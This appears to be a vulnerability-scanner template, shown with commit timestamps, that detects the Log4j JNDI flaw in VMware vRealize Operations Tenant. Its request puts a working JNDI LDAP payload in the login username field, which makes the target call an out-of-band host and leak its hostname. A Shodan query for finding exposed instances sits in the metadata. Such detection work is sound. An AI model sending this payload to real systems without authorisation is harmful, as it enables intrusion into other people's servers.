2022-03-07 10:16:57 +00:00
id : vrealize-operations-log4j-rce
2022-03-07 09:43:20 +00:00
info :
2022-10-10 19:51:42 +00:00
name : VMware vRealize Operations Tenant - JNDI Remote Code Execution (Apache Log4j)
2022-03-07 09:43:20 +00:00
author : bughuntersurya
severity : critical
2022-07-16 17:05:27 +00:00
description : |
VMware vRealize Operations is susceptible to a critical vulnerability in Apache Log4j which may allow remote code execution in an impacted vRealize Operations Tenant application.
2022-03-22 03:48:47 +00:00
reference :
- https://www.vmware.com/security/advisories/VMSA-2021-0028.html
- https://core.vmware.com/vmsa-2021-0028-questions-answers-faq
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
- https://nvd.nist.gov/vuln/detail/CVE-2021-45046
2022-07-16 17:05:27 +00:00
- https://logging.apache.org/log4j/2.x/security.html
2022-03-22 03:48:47 +00:00
classification :
2022-10-10 20:06:39 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score : 10
2022-10-10 19:51:42 +00:00
cve-id : CVE-2021-44228
2022-10-19 21:11:27 +00:00
cwe-id : CWE-77
2024-09-10 08:22:50 +00:00
cpe : cpe:2.3:a:vmware:vrealize_operations:*:*:*:*:*:*:*:*
2022-04-22 10:38:41 +00:00
metadata :
2023-10-14 11:27:55 +00:00
verified : true
2023-04-28 08:11:21 +00:00
max-request : 1
2022-04-22 10:38:41 +00:00
shodan-query : http.title:"vRealize Operations Tenant App"
2024-09-10 08:22:50 +00:00
product : vrealize_operations
vendor : vmware
2022-10-10 20:06:39 +00:00
tags : cve,cve2021,oast,rce,log4j,vmware,vrealize,kev
2023-05-03 18:46:17 +00:00
variables :
rand1 : '{{rand_int(111, 999)}}'
rand2 : '{{rand_int(111, 999)}}'
2023-04-27 04:28:59 +00:00
http :
2022-03-07 09:43:20 +00:00
- raw :
- |
POST /suite-api/api/auth/token/acquire HTTP/1.1
Host : {{Hostname}}
Content-Type : application/json
Origin : {{RootURL}}
Referer : {{RootURL}}/ui/
2023-05-03 18:46:17 +00:00
{"username" : "${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}}" , "password" : "admin" }
2022-03-07 09:43:20 +00:00
matchers-condition : and
matchers :
- type : word
2023-11-17 08:48:58 +00:00
part : interactsh_protocol # Confirms the DNS Interaction
2022-03-07 09:43:20 +00:00
words :
2023-11-17 08:48:58 +00:00
- "dns"
2022-03-07 09:43:20 +00:00
- type : regex
part : interactsh_request
regex :
2023-11-17 08:48:58 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
2022-03-07 09:43:20 +00:00
extractors :
2023-05-03 18:46:17 +00:00
- type : kval
kval :
2023-11-17 08:48:58 +00:00
- interactsh_ip
2023-05-03 18:46:17 +00:00
- type : regex
2023-11-17 08:48:58 +00:00
part : interactsh_request
2023-05-03 18:46:17 +00:00
group : 2
regex :
2023-11-17 08:48:58 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
2023-05-03 18:46:17 +00:00
2022-03-07 09:43:20 +00:00
- type : regex
2023-11-17 08:48:58 +00:00
part : interactsh_request
2022-03-07 09:43:20 +00:00
group : 1
regex :
2023-11-17 08:48:58 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
2023-11-19 08:30:54 +00:00
# digest: 4a0a00473045022100cc521fcbce915c657a7c9c061ff3aa50efec4c63cb85797ee9c3757c8ba2916a02203457b6c40d9b9d04f7a4ffc5fba5a64a3bb28310bd5fbcd1cf8d586bab043484:922c64590222798bb761d5b6d8e72950